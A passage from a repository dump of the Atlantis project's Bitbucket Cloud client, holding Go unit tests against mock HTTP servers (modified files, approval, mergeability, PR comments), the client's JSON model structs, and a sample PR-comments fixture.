\"file3.txt\")\n\tvar serverURL string\n\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.RequestURI {\n\t\t// The first request should hit this URL.\n\t\tcase diffstatURL:\n\t\t\tresp := firstResp + fmt.Sprintf(`,\"next\": \"%s%s?page=2\"}`, serverURL, diffstatURL)\n\t\t\tw.Write([]byte(resp)) // nolint: errcheck\n\t\t\treturn\n\t\t\t// The second should hit this URL.\n\t\tcase fmt.Sprintf(\"%s?page=2\", diffstatURL):\n\t\t\tw.Write([]byte(secondResp + \"}\")) // nolint: errcheck\n\t\tdefault:\n\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t}))\n\tdefer testServer.Close()\n\n\tserverURL = testServer.URL\n\tclient := bitbucketcloud.New(http.DefaultClient, \"user\", \"pass\", \"\", \"runatlantis.io\")\n\tclient.BaseURL = testServer.URL\n\n\tfiles, err := client.GetModifiedFiles(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tFullName:          \"owner/repo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"repo\",\n\t\t\tCloneURL:          \"\",\n\t\t\tSanitizedCloneURL: \"\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tType:     models.BitbucketCloud,\n\t\t\t\tHostname: \"bitbucket.org\",\n\t\t\t},\n\t\t}, models.PullRequest{\n\t\t\tNum: 1,\n\t\t})\n\tOk(t, err)\n\tEquals(t, []string{\"file1.txt\", \"file2.txt\", \"file3.txt\"}, files)\n}\n\n// If the \"old\" key in the list of files is nil we shouldn't error.\nfunc TestClient_GetModifiedFilesOldNil(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tresp := `\n{\n  \"pagelen\": 500,\n  \"values\": [\n    {\n      \"status\": \"added\",\n      \"old\": null,\n      \"lines_removed\": 0,\n      \"lines_added\": 2,\n      \"new\": {\n        \"path\": \"parent/child/file1.txt\",\n        \"type\": \"commit_file\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/src/1ed8205eec00dab4f1c0a8c486a4492c98c51f8e/main.tf\"\n          }\n        }\n      },\n      \"type\": \"diffstat\"\n    }\n  ],\n  \"page\": 1,\n  \"size\": 1\n}`\n\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.RequestURI {\n\t\t// The first request should hit this URL.\n\t\tcase diffstatURL:\n\t\t\tw.Write([]byte(resp)) // nolint: errcheck\n\t\t\treturn\n\t\tdefault:\n\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t}))\n\tdefer testServer.Close()\n\n\tclient := bitbucketcloud.New(http.DefaultClient, \"user\", \"pass\", \"\", \"runatlantis.io\")\n\tclient.BaseURL = testServer.URL\n\n\tfiles, err := client.GetModifiedFiles(\n\t\tlogger,\n\t\tmodels.Repo{\n\t\t\tFullName:          \"owner/repo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"repo\",\n\t\t\tCloneURL:          \"\",\n\t\t\tSanitizedCloneURL: \"\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tType:     models.BitbucketCloud,\n\t\t\t\tHostname: \"bitbucket.org\",\n\t\t\t},\n\t\t}, models.PullRequest{\n\t\t\tNum: 1,\n\t\t})\n\tOk(t, err)\n\tEquals(t, []string{\"parent/child/file1.txt\"}, files)\n}\n\nfunc TestClient_PullIsApproved(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\tdescription string\n\t\ttestdata    string\n\t\texp         bool\n\t}{\n\t\t{\n\t\t\t\"no approvers\",\n\t\t\t\"pull-unapproved.json\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"approver is the author\",\n\t\t\t\"pull-approved-by-author.json\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"single approver\",\n\t\t\t\"pull-approved.json\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"two approvers one author\",\n\t\t\t\"pull-approved-multiple.json\",\n\t\t\ttrue,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\tjson, err := os.ReadFile(filepath.Join(\"testdata\", c.testdata))\n\t\t\tOk(t, err)\n\t\t\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tswitch r.RequestURI {\n\t\t\t\t// The first request should hit this URL.\n\t\t\t\tcase \"/2.0/repositories/owner/repo/pullrequests/1\":\n\t\t\t\t\tw.Write(json) // nolint: errcheck\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}))\n\t\t\tdefer testServer.Close()\n\n\t\t\tclient := bitbucketcloud.New(http.DefaultClient, \"user\", \"pass\", \"\", \"runatlantis.io\")\n\t\t\tclient.BaseURL = testServer.URL\n\n\t\t\trepo, err := models.NewRepo(models.BitbucketServer, \"owner/repo\", \"https://bitbucket.org/owner/repo.git\", \"user\", \"token\")\n\t\t\tOk(t, err)\n\t\t\tapprovalStatus, err := client.PullIsApproved(\n\t\t\t\tlogger,\n\t\t\t\trepo, models.PullRequest{\n\t\t\t\t\tNum:        1,\n\t\t\t\t\tHeadBranch: \"branch\",\n\t\t\t\t\tAuthor:     \"author\",\n\t\t\t\t\tBaseRepo:   repo,\n\t\t\t\t})\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.exp, approvalStatus.IsApproved)\n\t\t})\n\t}\n}\n\nfunc TestClient_PullIsMergeable(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := map[string]struct {\n\t\tDiffStat     string\n\t\tExpMergeable models.MergeableStatus\n\t}{\n\t\t\"mergeable\": {\n\t\t\tDiffStat: `{\n\t\t\t\t\"pagelen\": 500,\n\t\t\t\t\"values\": [\n\t\t\t\t{\n\t\t\t\t\t\"status\": \"added\",\n\t\t\t\t\t\"old\": null,\n\t\t\t\t\t\"lines_removed\": 0,\n\t\t\t\t\t\"lines_added\": 2,\n\t\t\t\t\t\"new\": {\n\t\t\t\t\t\t\"path\": \"parent/child/file1.txt\",\n\t\t\t\t\t\t\"type\": \"commit_file\",\n\t\t\t\t\t\t\"links\": {\n\t\t\t\t\t\t\t\"self\": {\n\t\t\t\t\t\t\t\t\"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/src/1ed8205eec00dab4f1c0a8c486a4492c98c51f8e/main.tf\"\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t},\n\t\t\t\t\t\"type\": \"diffstat\"\n\t\t\t\t}\n\t\t\t],\n\t\t\t\t\"page\": 1,\n\t\t\t\t\"size\": 1\n\t\t\t}`,\n\t\t\tExpMergeable: models.MergeableStatus{\n\t\t\t\tIsMergeable: true,\n\t\t\t},\n\t\t},\n\t\t\"merge conflict\": {\n\t\t\tDiffStat: `{\n\t\t\t  \"pagelen\": 500,\n\t\t\t  \"values\": [\n\t\t\t\t{\n\t\t\t\t  \"status\": \"merge conflict\",\n\t\t\t\t  \"old\": {\n\t\t\t\t\t\"path\": \"main.tf\",\n\t\t\t\t\t\"type\": \"commit_file\",\n\t\t\t\t\t\"links\": {\n\t\t\t\t\t  \"self\": {\n\t\t\t\t\t\t\"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/src/6d6a8026a788621b37a9ac422a7d0ebb1500e85f/main.tf\"\n\t\t\t\t\t  }\n\t\t\t\t\t}\n\t\t\t\t  },\n\t\t\t\t  \"lines_removed\": 1,\n\t\t\t\t  \"lines_added\": 0,\n\t\t\t\t  \"new\": {\n\t\t\t\t\t\"path\": \"main.tf\",\n\t\t\t\t\t\"type\": \"commit_file\",\n\t\t\t\t\t\"links\": {\n\t\t\t\t\t  \"self\": {\n\t\t\t\t\t\t\"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/src/742e76108714365788f5681e99e4a64f45dce147/main.tf\"\n\t\t\t\t\t  }\n\t\t\t\t\t}\n\t\t\t\t  },\n\t\t\t\t  \"type\": \"diffstat\"\n\t\t\t\t}\n\t\t\t  ],\n\t\t\t  \"page\": 1,\n\t\t\t  \"size\": 1\n\t\t\t}`,\n\t\t\tExpMergeable: models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t},\n\t\t},\n\t\t\"merge conflict due to file deleted\": {\n\t\t\tDiffStat: `{\n\t\t\t  \"pagelen\": 500,\n\t\t\t  \"values\": [\n\t\t\t\t{\n\t\t\t\t  \"status\": \"local deleted\",\n\t\t\t\t  \"old\": null,\n\t\t\t\t  \"lines_removed\": 0,\n\t\t\t\t  \"lines_added\": 3,\n\t\t\t\t  \"new\": {\n\t\t\t\t\t\"path\": \"main.tf\",\n\t\t\t\t\t\"type\": \"commit_file\",\n\t\t\t\t\t\"links\": {\n\t\t\t\t\t  \"self\": {\n\t\t\t\t\t\t\"href\": \"https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/src/3539b9f51c9f91e8f6280e89c62e2673ddc51144/main.tf\"\n\t\t\t\t\t  }\n\t\t\t\t\t}\n\t\t\t\t  },\n\t\t\t\t  \"type\": \"diffstat\"\n\t\t\t\t}\n\t\t\t  ],\n\t\t\t  \"page\": 1,\n\t\t\t  \"size\": 1\n\t\t\t}`,\n\t\t\tExpMergeable: models.MergeableStatus{\n\t\t\t\tIsMergeable: false,\n\t\t\t},\n\t\t},\n\t}\n\n\tfor name, c := range cases {\n\t\tt.Run(name, func(t *testing.T) {\n\t\t\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\tswitch r.RequestURI {\n\t\t\t\tcase diffstatURL:\n\t\t\t\t\tw.Write([]byte(c.DiffStat)) // nolint: errcheck\n\t\t\t\t\treturn\n\t\t\t\tdefault:\n\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}))\n\t\t\tdefer testServer.Close()\n\n\t\t\tclient := bitbucketcloud.New(http.DefaultClient, \"user\", \"pass\", \"\", \"runatlantis.io\")\n\t\t\tclient.BaseURL = testServer.URL\n\n\t\t\tactMergeable, err := client.PullIsMergeable(\n\t\t\t\tlogger,\n\t\t\t\tmodels.Repo{\n\t\t\t\t\tFullName:          \"owner/repo\",\n\t\t\t\t\tOwner:             \"owner\",\n\t\t\t\t\tName:              \"repo\",\n\t\t\t\t\tCloneURL:          \"\",\n\t\t\t\t\tSanitizedCloneURL: \"\",\n\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\tType:     models.BitbucketCloud,\n\t\t\t\t\t\tHostname: \"bitbucket.org\",\n\t\t\t\t\t},\n\t\t\t\t}, models.PullRequest{\n\t\t\t\t\tNum: 1,\n\t\t\t\t}, \"atlantis-test\", []string{})\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.ExpMergeable, actMergeable)\n\t\t})\n\t}\n\n}\n\nfunc TestClient_MarkdownPullLink(t *testing.T) {\n\tclient := bitbucketcloud.New(http.DefaultClient, \"user\", \"pass\", \"\", \"runatlantis.io\")\n\tpull := models.PullRequest{Num: 1}\n\ts, _ := client.MarkdownPullLink(pull)\n\texp := \"#1\"\n\tEquals(t, exp, s)\n}\n\nfunc TestClient_GetMyUUID(t *testing.T) {\n\tjson, err := os.ReadFile(filepath.Join(\"testdata\", \"user.json\"))\n\tOk(t, err)\n\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.RequestURI {\n\t\tcase \"/2.0/user\":\n\t\t\tw.Write(json) // nolint: errcheck\n\t\t\treturn\n\t\tdefault:\n\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t}))\n\tdefer testServer.Close()\n\n\tclient := bitbucketcloud.New(http.DefaultClient, \"user\", \"pass\", \"\", \"runatlantis.io\")\n\tclient.BaseURL = testServer.URL\n\tv, _ := client.GetMyUUID()\n\tEquals(t, v, \"{00000000-0000-0000-0000-000000000001}\")\n}\n\nfunc TestClient_GetComment(t *testing.T) {\n\tjson, err := os.ReadFile(filepath.Join(\"testdata\", \"comments.json\"))\n\tOk(t, err)\n\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.RequestURI {\n\t\tcase \"/2.0/repositories/myorg/myrepo/pullrequests/5/comments\":\n\t\t\tw.Write(json) // nolint: errcheck\n\t\t\treturn\n\t\tdefault:\n\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t}))\n\tdefer testServer.Close()\n\n\tclient := bitbucketcloud.New(http.DefaultClient, \"user\", \"pass\", \"\", \"runatlantis.io\")\n\tclient.BaseURL = testServer.URL\n\tv, _ := client.GetPullRequestComments(\n\t\tmodels.Repo{\n\t\t\tFullName:          \"myorg/myrepo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"myrepo\",\n\t\t\tCloneURL:          \"\",\n\t\t\tSanitizedCloneURL: \"\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tType:     models.BitbucketCloud,\n\t\t\t\tHostname: \"bitbucket.org\",\n\t\t\t},\n\t\t}, 5)\n\n\tEquals(t, len(v), 5)\n\texp := \"Plan\"\n\tAssert(t, strings.Contains(v[1].Content.Raw, exp), \"Comment should contain word \\\"%s\\\", has \\\"%s\\\"\", exp, v[1].Content.Raw)\n}\n\nfunc TestClient_DeleteComment(t *testing.T) {\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.RequestURI {\n\t\tcase \"/2.0/repositories/myorg/myrepo/pullrequests/5/comments/1\":\n\t\t\tif r.Method == \"DELETE\" {\n\t\t\t\tw.WriteHeader(http.StatusNoContent)\n\t\t\t}\n\t\t\treturn\n\t\tdefault:\n\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t}))\n\tdefer testServer.Close()\n\n\tclient := bitbucketcloud.New(http.DefaultClient, \"user\", \"pass\", \"\", \"runatlantis.io\")\n\tclient.BaseURL = testServer.URL\n\terr := client.DeletePullRequestComment(\n\t\tmodels.Repo{\n\t\t\tFullName:          \"myorg/myrepo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"myrepo\",\n\t\t\tCloneURL:          \"\",\n\t\t\tSanitizedCloneURL: \"\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tType:     models.BitbucketCloud,\n\t\t\t\tHostname: \"bitbucket.org\",\n\t\t\t},\n\t\t}, 5, 1)\n\tOk(t, err)\n}\n\nfunc TestClient_HidePRComments(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcomments, err := os.ReadFile(filepath.Join(\"testdata\", \"comments.json\"))\n\tOk(t, err)\n\tjson, err := os.ReadFile(filepath.Join(\"testdata\", \"user.json\"))\n\tOk(t, err)\n\n\tcalled := 0\n\n\ttestServer := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tswitch r.RequestURI {\n\t\t// we have two comments in the test file\n\t\t// The code is going to delete them all and then create a new one\n\t\tcase \"/2.0/repositories/myorg/myrepo/pullrequests/5/comments/498931882\":\n\t\t\tif r.Method == \"DELETE\" {\n\t\t\t\tw.WriteHeader(http.StatusNoContent)\n\t\t\t}\n\t\t\tw.Write([]byte(\"\")) // nolint: errcheck\n\t\t\tcalled += 1\n\t\t\treturn\n\t\t\t// This is the second one\n\t\tcase \"/2.0/repositories/myorg/myrepo/pullrequests/5/comments/498931784\":\n\t\t\tif r.Method == \"DELETE\" {\n\t\t\t\thttp.Error(w, \"\", http.StatusNoContent)\n\t\t\t}\n\t\t\tw.Write([]byte(\"\")) // nolint: errcheck\n\t\t\tcalled += 1\n\t\t\treturn\n\t\tcase \"/2.0/repositories/myorg/myrepo/pullrequests/5/comments/49893111\":\n\t\t\tAssert(t, r.Method != \"DELETE\", \"Shouldn't delete this one\")\n\t\t\treturn\n\t\tcase \"/2.0/repositories/myorg/myrepo/pullrequests/5/comments\":\n\t\t\tw.Write(comments) // nolint: errcheck\n\t\t\treturn\n\t\tcase \"/2.0/user\":\n\t\t\tw.Write(json) // nolint: errcheck\n\t\t\treturn\n\t\tdefault:\n\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\treturn\n\t\t}\n\t}))\n\tdefer testServer.Close()\n\n\tclient := bitbucketcloud.New(http.DefaultClient, \"user\", \"pass\", \"\", \"runatlantis.io\")\n\tclient.BaseURL = testServer.URL\n\terr = client.HidePrevCommandComments(logger,\n\t\tmodels.Repo{\n\t\t\tFullName:          \"myorg/myrepo\",\n\t\t\tOwner:             \"owner\",\n\t\t\tName:              \"myrepo\",\n\t\t\tCloneURL:          \"\",\n\t\t\tSanitizedCloneURL: \"\",\n\t\t\tVCSHost: models.VCSHost{\n\t\t\t\tType:     models.BitbucketCloud,\n\t\t\t\tHostname: \"bitbucket.org\",\n\t\t\t},\n\t\t}, 5, \"plan\", \"\")\n\tOk(t, err)\n\tEquals(t, 2, called)\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketcloud/models.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage bitbucketcloud\n\nconst (\n\tPullCreatedHeader        = \"pullrequest:created\"\n\tPullUpdatedHeader        = \"pullrequest:updated\"\n\tPullFulfilledHeader      = \"pullrequest:fulfilled\"\n\tPullRejectedHeader       = \"pullrequest:rejected\"\n\tPullCommentCreatedHeader = \"pullrequest:comment_created\"\n)\n\ntype CommentEvent struct {\n\tCommonEventData\n\tComment *Comment `json:\"comment,omitempty\" validate:\"required\"`\n}\n\ntype PullRequestEvent struct {\n\tCommonEventData\n}\n\ntype CommonEventData struct {\n\tActor       *Actor       `json:\"actor,omitempty\" validate:\"required\"`\n\tRepository  *Repository  `json:\"repository,omitempty\" validate:\"required\"`\n\tPullRequest *PullRequest `json:\"pullrequest,omitempty\" validate:\"required\"`\n}\n\ntype DiffStat struct {\n\tValues []DiffStatValue `json:\"values,omitempty\" validate:\"required\"`\n\tNext   *string         `json:\"next,omitempty\"`\n}\ntype DiffStatValue struct {\n\tStatus *string `json:\"status,omitempty\" validate:\"required\"`\n\t// Old is the old file, this can be null.\n\tOld *DiffStatFile `json:\"old,omitempty\"`\n\t// New is the new file, this can be null.\n\tNew *DiffStatFile `json:\"new,omitempty\"`\n}\ntype DiffStatFile struct {\n\tPath *string `json:\"path,omitempty\" validate:\"required\"`\n}\n\ntype Actor struct {\n\tAccountID *string `json:\"account_id,omitempty\" validate:\"required\"`\n}\ntype Repository struct {\n\tFullName *string `json:\"full_name,omitempty\" validate:\"required\"`\n\tLinks    Links   `json:\"links\" validate:\"required\"`\n}\n\ntype User struct {\n\tType        *string `json:\"type,omitempty\" validate:\"required\"`\n\tCreateOn    *string `json:\"created_on\" validate:\"required\"`\n\tDisplayName *string `json:\"display_name\" validate:\"required\"`\n\tUsername    *string `json:\"username\" validate:\"required\"`\n\tUUID        *string `json:\"uuid\" validate:\"required\"`\n}\n\ntype UserInComment struct {\n\tType        *string `json:\"type,omitempty\" validate:\"required\"`\n\tNickname    *string `json:\"nickname\" validate:\"required\"`\n\tDisplayName *string `json:\"display_name\" validate:\"required\"`\n\tUUID        *string `json:\"uuid\" validate:\"required\"`\n}\n\ntype PullRequestComment struct {\n\tID      *int           `json:\"id,omitempty\" validate:\"required\"`\n\tUser    *UserInComment `json:\"user\" validate:\"required\"`\n\tContent *struct {\n\t\tRaw string `json:\"raw\"`\n\t} `json:\"content\" validate:\"required\"`\n}\n\ntype PullRequestComments struct {\n\tValues []PullRequestComment `json:\"values,omitempty\"`\n}\n\ntype PullRequest struct {\n\tID           *int          `json:\"id,omitempty\" validate:\"required\"`\n\tSource       *BranchMeta   `json:\"source,omitempty\" validate:\"required\"`\n\tDestination  *BranchMeta   `json:\"destination,omitempty\" validate:\"required\"`\n\tParticipants []Participant `json:\"participants,omitempty\" validate:\"required\"`\n\tLinks        *Links        `json:\"links,omitempty\" validate:\"required\"`\n\tState        *string       `json:\"state,omitempty\" validate:\"required\"`\n\tAuthor       *Author       `jsonN:\"author,omitempty\" validate:\"required\"`\n}\ntype Links struct {\n\tHTML *Link `json:\"html,omitempty\" validate:\"required\"`\n}\ntype Link struct {\n\tHREF *string `json:\"href,omitempty\" validate:\"required\"`\n}\ntype Participant struct {\n\tApproved *bool `json:\"approved,omitempty\" validate:\"required\"`\n\tUser     *struct {\n\t\tUUID *string `json:\"uuid,omitempty\" validate:\"required\"`\n\t} `json:\"user,omitempty\" validate:\"required\"`\n}\ntype BranchMeta struct {\n\tRepository *Repository `json:\"repository,omitempty\" validate:\"required\"`\n\tCommit     *Commit     `json:\"commit,omitempty\" validate:\"required\"`\n\tBranch     *Branch     `json:\"branch,omitempty\" validate:\"required\"`\n}\ntype Branch struct {\n\tName *string `json:\"name,omitempty\" validate:\"required\"`\n}\ntype Commit struct {\n\tHash *string `json:\"hash,omitempty\" validate:\"required\"`\n}\ntype Comment struct {\n\tContent *CommentContent `json:\"content,omitempty\" validate:\"required\"`\n}\ntype CommentContent struct {\n\tRaw *string `json:\"raw,omitempty\" validate:\"required\"`\n}\ntype Author struct {\n\tUUID *string `json:\"uuid,omitempty\" validate:\"required\"`\n}\n"
  },
  {
    "path": "server/events/vcs/bitbucketcloud/testdata/comments.json",
    "content": "{\n  \"values\": [\n    {\n      \"id\": 498931784,\n      \"created_on\": \"2024-05-07T12:21:45.858898+00:00\",\n      \"updated_on\": \"2024-05-07T12:21:45.859011+00:00\",\n      \"content\": {\n        \"type\": \"rendered\",\n        \"raw\": \"atlantis plan\",\n        \"markup\": \"markdown\",\n        \"html\": \"<p>atlantis plan</p>\"\n      },\n      \"user\": {\n        \"display_name\": \"Ragne\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7B00000000-0000-0000-0000-000000000001%7D\"\n          },\n          \"avatar\": {\n            \"href\": \"https://avatar-management--avatars.us-west-2.prod.public.atl-paas.net/initials/EM-3.png\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7B00000000-0000-0000-0000-000000000001%7D/\"\n          }\n        },\n        \"type\": \"user\",\n        \"uuid\": \"{00000000-0000-0000-0000-000000000001}\",\n        \"account_id\": \"000000:00000000-0000-0000-0000-000000000001\",\n        \"nickname\": \"Ragne\"\n      },\n      \"deleted\": false,\n      \"pending\": false,\n      \"type\": \"pullrequest_comment\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931784\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931784\"\n        }\n      },\n      \"pullrequest\": {\n        \"type\": \"pullrequest\",\n        \"id\": 5,\n        \"title\": \"for test\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/myworkspace/myrepo/pull-requests/5\"\n          }\n        }\n      }\n    },\n    {\n      \"id\": 498931802,\n      \"created_on\": \"2024-05-07T12:21:48.737851+00:00\",\n      \"updated_on\": \"2024-05-07T12:21:48.737927+00:00\",\n      \"content\": {\n        \"type\": \"rendered\",\n        \"raw\": \"Ran Plan for 0 projects:\",\n        \"markup\": \"markdown\",\n        \"html\": \"<p>Ran Plan for 0 projects:</p>\"\n      },\n      \"user\": {\n        \"display_name\": \"bb bot\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7B600000000-0000-0000-0000-000000000000%7D\"\n          },\n          \"avatar\": {\n            \"href\": \"https://secure.gravatar.com/avatar/d5c4bac76953df92f47d1dea43fcdba0?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FKB-4.png\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7B600000000-0000-0000-0000-000000000000%7D/\"\n          }\n        },\n        \"type\": \"user\",\n        \"uuid\": \"{600000000-0000-0000-0000-000000000000}\",\n        \"account_id\": \"00000000-0000-0000-0000-000000000000\",\n        \"nickname\": \"bb bot\"\n      },\n      \"deleted\": false,\n      \"pending\": false,\n      \"type\": \"pullrequest_comment\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931802\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931802\"\n        }\n      },\n      \"pullrequest\": {\n        \"type\": \"pullrequest\",\n        \"id\": 5,\n        \"title\": \"for test\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/myworkspace/myrepo/pull-requests/5\"\n          }\n        }\n      }\n    },\n    {\n      \"id\": 498931882,\n      \"created_on\": \"2024-05-07T12:22:01.870344+00:00\",\n      \"updated_on\": \"2024-05-07T12:22:01.870462+00:00\",\n      \"content\": {\n        \"type\": \"rendered\",\n        \"raw\": \"atlantis plan\",\n        \"markup\": \"markdown\",\n        \"html\": \"<p>atlantis plan</p>\"\n      },\n      \"user\": {\n        \"display_name\": \"Ragne\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7B00000000-0000-0000-0000-000000000001%7D\"\n          },\n          \"avatar\": {\n            \"href\": \"https://avatar-management--avatars.us-west-2.prod.public.atl-paas.net/initials/EM-3.png\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7B00000000-0000-0000-0000-000000000001%7D/\"\n          }\n        },\n        \"type\": \"user\",\n        \"uuid\": \"{00000000-0000-0000-0000-000000000001}\",\n        \"account_id\": \"000000:00000000-0000-0000-0000-000000000001\",\n        \"nickname\": \"Ragne\"\n      },\n      \"deleted\": false,\n      \"pending\": false,\n      \"type\": \"pullrequest_comment\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931882\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931882\"\n        }\n      },\n      \"pullrequest\": {\n        \"type\": \"pullrequest\",\n        \"id\": 5,\n        \"title\": \"for test\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/myworkspace/myrepo/pull-requests/5\"\n          }\n        }\n      }\n    },\n    {\n      \"id\": 498931901,\n      \"created_on\": \"2024-05-07T12:22:04.981415+00:00\",\n      \"updated_on\": \"2024-05-07T12:22:04.981490+00:00\",\n      \"content\": {\n        \"type\": \"rendered\",\n        \"raw\": \"Ran Plan for 0 projects:\",\n        \"markup\": \"markdown\",\n        \"html\": \"<p>Ran Plan for 0 projects:</p>\"\n      },\n      \"user\": {\n        \"display_name\": \"bb bot\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/users/%7B600000000-0000-0000-0000-000000000000%7D\"\n          },\n          \"avatar\": {\n            \"href\": \"https://secure.gravatar.com/avatar/d5c4bac76953df92f47d1dea43fcdba0?d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FKB-4.png\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/%7B600000000-0000-0000-0000-000000000000%7D/\"\n          }\n        },\n        \"type\": \"user\",\n        \"uuid\": \"{600000000-0000-0000-0000-000000000000}\",\n        \"account_id\": \"00000000-0000-0000-0000-000000000000\",\n        \"nickname\": \"bb bot\"\n      },\n      \"deleted\": false,\n      \"pending\": false,\n      \"type\": \"pullrequest_comment\",\n      \"links\": {\n        \"self\": {\n          \"href\": \"https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5/comments/498931901\"\n        },\n        \"html\": {\n          \"href\": \"https://bitbucket.org/myworkspace/myrepo/pull-requests/5/_/diff#comment-498931901\"\n        }\n      },\n      \"pullrequest\": {\n        \"type\": \"pullrequest\",\n        \"id\": 5,\n        \"title\": \"for test\",\n        \"links\": {\n          \"self\": {\n            \"href\": \"https://api.bitbucket.org/2.0/repositories/myworkspace/myrepo/pullrequests/5\"\n          },\n          \"html\": {\n            \"href\": \"https://bitbucket.org/myworkspace/myrepo/pull-requests/5\"\n          }\n        }\n      }\n 